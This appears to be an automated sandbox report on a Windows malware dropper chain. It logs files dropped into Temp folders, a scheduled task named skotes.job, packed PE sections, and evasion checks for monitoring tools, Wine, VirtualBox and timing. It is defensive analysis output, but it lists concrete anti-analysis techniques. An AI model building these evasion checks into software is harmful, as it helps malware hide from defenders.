Source: C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe	Section loaded: windows.shell.servicehostbuilder.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\LEDU23VRAEI6A5X1LTGJU.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: LIWYEYWSOj.exe

Static file information: File size 1850368 > 1048576

Source: LIWYEYWSOj.exe

Static PE information: Raw size of evedjvsb is bigger than: 0x100000 < 0x199c00

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\AppData\Local\Temp\ZEV545Y6VQAOO1ZG8Z5WIIWMJ.exe	Unpacked PE file: 5.2.ZEV545Y6VQAOO1ZG8Z5WIIWMJ.exe.250000.0.unpack :EW;.rsrc:W;.idata :W;guulvnfq:EW;wreswaoh:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;guulvnfq:EW;wreswaoh:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 6.2.skotes.exe.c30000.0.unpack :EW;.rsrc:W;.idata :W;guulvnfq:EW;wreswaoh:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;guulvnfq:EW;wreswaoh:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 7.2.skotes.exe.c30000.0.unpack :EW;.rsrc:W;.idata :W;guulvnfq:EW;wreswaoh:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;guulvnfq:EW;wreswaoh:EW;.taggant:EW;

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: LEDU23VRAEI6A5X1LTGJU.exe.0.dr	Static PE information: real checksum: 0x50b374 should be: 0x509bc7
Source: random[1].exe.7.dr	Static PE information: real checksum: 0x2c8dc6 should be: 0x2cbff5
Source: ZEV545Y6VQAOO1ZG8Z5WIIWMJ.exe.0.dr	Static PE information: real checksum: 0x3237ff should be: 0x31ce49
Source: skotes.exe.5.dr	Static PE information: real checksum: 0x3237ff should be: 0x31ce49
Source: LIWYEYWSOj.exe	Static PE information: real checksum: 0x1cbd65 should be: 0x1ceb94
Source: 0fd4b3a5d7.exe.7.dr	Static PE information: real checksum: 0x2c8dc6 should be: 0x2cbff5

Source: LIWYEYWSOj.exe	Static PE information: section name:
Source: LIWYEYWSOj.exe	Static PE information: section name: .idata
Source: LIWYEYWSOj.exe	Static PE information: section name:
Source: LIWYEYWSOj.exe	Static PE information: section name: evedjvsb
Source: LIWYEYWSOj.exe	Static PE information: section name: abicskov
Source: LIWYEYWSOj.exe	Static PE information: section name: .taggant
Source: LEDU23VRAEI6A5X1LTGJU.exe.0.dr	Static PE information: section name:
Source: LEDU23VRAEI6A5X1LTGJU.exe.0.dr	Static PE information: section name: .idata
Source: LEDU23VRAEI6A5X1LTGJU.exe.0.dr	Static PE information: section name: frhnetpr
Source: LEDU23VRAEI6A5X1LTGJU.exe.0.dr	Static PE information: section name: tbiteucn
Source: LEDU23VRAEI6A5X1LTGJU.exe.0.dr	Static PE information: section name: .taggant
Source: ZEV545Y6VQAOO1ZG8Z5WIIWMJ.exe.0.dr	Static PE information: section name:
Source: ZEV545Y6VQAOO1ZG8Z5WIIWMJ.exe.0.dr	Static PE information: section name: .idata
Source: ZEV545Y6VQAOO1ZG8Z5WIIWMJ.exe.0.dr	Static PE information: section name: guulvnfq
Source: ZEV545Y6VQAOO1ZG8Z5WIIWMJ.exe.0.dr	Static PE information: section name: wreswaoh
Source: ZEV545Y6VQAOO1ZG8Z5WIIWMJ.exe.0.dr	Static PE information: section name: .taggant
Source: skotes.exe.5.dr	Static PE information: section name:
Source: skotes.exe.5.dr	Static PE information: section name: .idata
Source: skotes.exe.5.dr	Static PE information: section name: guulvnfq
Source: skotes.exe.5.dr	Static PE information: section name: wreswaoh
Source: skotes.exe.5.dr	Static PE information: section name: .taggant
Source: random[1].exe.7.dr	Static PE information: section name:
Source: random[1].exe.7.dr	Static PE information: section name: .rsrc
Source: random[1].exe.7.dr	Static PE information: section name: .idata
Source: random[1].exe.7.dr	Static PE information: section name: lbjmjnxy
Source: random[1].exe.7.dr	Static PE information: section name: pixbpiqe
Source: random[1].exe.7.dr	Static PE information: section name: .taggant
Source: 0fd4b3a5d7.exe.7.dr	Static PE information: section name:
Source: 0fd4b3a5d7.exe.7.dr	Static PE information: section name: .rsrc
Source: 0fd4b3a5d7.exe.7.dr	Static PE information: section name: .idata
Source: 0fd4b3a5d7.exe.7.dr	Static PE information: section name: lbjmjnxy
Source: 0fd4b3a5d7.exe.7.dr	Static PE information: section name: pixbpiqe
Source: 0fd4b3a5d7.exe.7.dr	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	Code function: 0_3_01433650 push ss; ret	0_3_01433653
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	Code function: 0_3_01433457 push edi; ret	0_3_0143345B
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	Code function: 0_3_01434656 push ss; ret	0_3_0143465B
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	Code function: 0_3_01436465 push eax; ret	0_3_01436493
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	Code function: 0_3_0143A535 push esp; ret	0_3_0143A57A
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	Code function: 0_3_0143A535 push esp; ret	0_3_0143A57A
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	Code function: 0_3_0143A535 push esp; ret	0_3_0143A57A
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	Code function: 0_3_0143C5C8 push es; ret	0_3_0143C703
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	Code function: 0_3_0143C5C8 push es; ret	0_3_0143C703
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	Code function: 0_3_0143C5C8 push es; ret	0_3_0143C703
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	Code function: 0_3_014348F6 push C2494D41h; ret	0_3_014348FB
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	Code function: 0_3_0143C2FF push eax; ret	0_3_0143C311
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	Code function: 0_3_0143C2F6 push eax; ret	0_3_0143C311
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	Code function: 0_3_0143C2F6 push eax; ret	0_3_0143C311
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	Code function: 0_3_0143CE89 push ss; ret	0_3_0143CE8B
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	Code function: 0_3_0143CE89 push ss; ret	0_3_0143CE8B
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	Code function: 0_3_0143CE89 push ss; ret	0_3_0143CE8B
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	Code function: 0_3_0143CC88 push edi; ret	0_3_0143CC93
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	Code function: 0_3_0143CC88 push edi; ret	0_3_0143CC93
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	Code function: 0_3_0143CC88 push edi; ret	0_3_0143CC93
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	Code function: 0_3_0143A698 push esp; rep ret	0_3_0143A7A2
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	Code function: 0_3_014380B0 push eax; iretd	0_3_014380B2
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	Code function: 0_3_013F1D1A pushfd ; ret	0_3_013F1D1B
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	Code function: 0_3_013EBB15 push es; ret	0_3_013EBB53
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	Code function: 0_3_013F1D0C pushad ; ret	0_3_013F1D0D
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	Code function: 0_3_013EBB62 push es; ret	0_3_013EBB53
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	Code function: 0_3_013F4752 pushad ; ret	0_3_013F4753
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	Code function: 0_3_013EFD50 push edx; ret	0_3_013EFD53
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	Code function: 0_3_013EB7AC pushad ; ret	0_3_013EB823
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	Code function: 0_3_013EC1AD push FFFFFFF8h; ret	0_3_013EC1C2
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	Code function: 0_3_013F47E2 push edx; ret	0_3_013F47E3

Source: LIWYEYWSOj.exe	Static PE information: section name: entropy: 7.979713079439202
Source: LIWYEYWSOj.exe	Static PE information: section name: evedjvsb entropy: 7.952846175104087
Source: ZEV545Y6VQAOO1ZG8Z5WIIWMJ.exe.0.dr	Static PE information: section name: entropy: 7.051345651311044
Source: skotes.exe.5.dr	Static PE information: section name: entropy: 7.051345651311044
Source: random[1].exe.7.dr	Static PE information: section name: entropy: 7.974937518106936
Source: 0fd4b3a5d7.exe.7.dr	Static PE information: section name: entropy: 7.974937518106936

Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	File created: C:\Users\user\AppData\Local\Temp\LEDU23VRAEI6A5X1LTGJU.exe	Jump to dropped file
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	File created: C:\Users\user\AppData\Local\Temp\ZEV545Y6VQAOO1ZG8Z5WIIWMJ.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\ZEV545Y6VQAOO1ZG8Z5WIIWMJ.exe	File created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Jump to dropped file

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\LEDU23VRAEI6A5X1LTGJU.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\LEDU23VRAEI6A5X1LTGJU.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\LEDU23VRAEI6A5X1LTGJU.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\LEDU23VRAEI6A5X1LTGJU.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\LEDU23VRAEI6A5X1LTGJU.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZEV545Y6VQAOO1ZG8Z5WIIWMJ.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZEV545Y6VQAOO1ZG8Z5WIIWMJ.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZEV545Y6VQAOO1ZG8Z5WIIWMJ.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZEV545Y6VQAOO1ZG8Z5WIIWMJ.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZEV545Y6VQAOO1ZG8Z5WIIWMJ.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe	Window searched: window name: Regmonclass	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\ZEV545Y6VQAOO1ZG8Z5WIIWMJ.exe

File created: C:\Windows\Tasks\skotes.job

Jump to behavior

Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate			Jump to behavior
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior

Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZEV545Y6VQAOO1ZG8Z5WIIWMJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Source: C:\Users\user\AppData\Local\Temp\ZEV545Y6VQAOO1ZG8Z5WIIWMJ.exe	Evasive API call chain: GetPEB, DecisionNodes, ExitProcess			graph_5-10275
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Evasive API call chain: GetPEB, DecisionNodes, ExitProcess			graph_6-9906

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_VideoController

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	System information queried: FirmwareTableInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe	System information queried: FirmwareTableInformation			Jump to behavior

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\LEDU23VRAEI6A5X1LTGJU.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\LEDU23VRAEI6A5X1LTGJU.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZEV545Y6VQAOO1ZG8Z5WIIWMJ.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZEV545Y6VQAOO1ZG8Z5WIIWMJ.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: C692BE second address: C692CC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push edi 0x0000000b push esi 0x0000000c pop esi 0x0000000d pop edi 0x0000000e rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: C692CC second address: C692D6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 js 00007FADBDAB6916h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: DE6EDA second address: DE6EE2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: DE5FE5 second address: DE5FEA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: DE6182 second address: DE6186 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
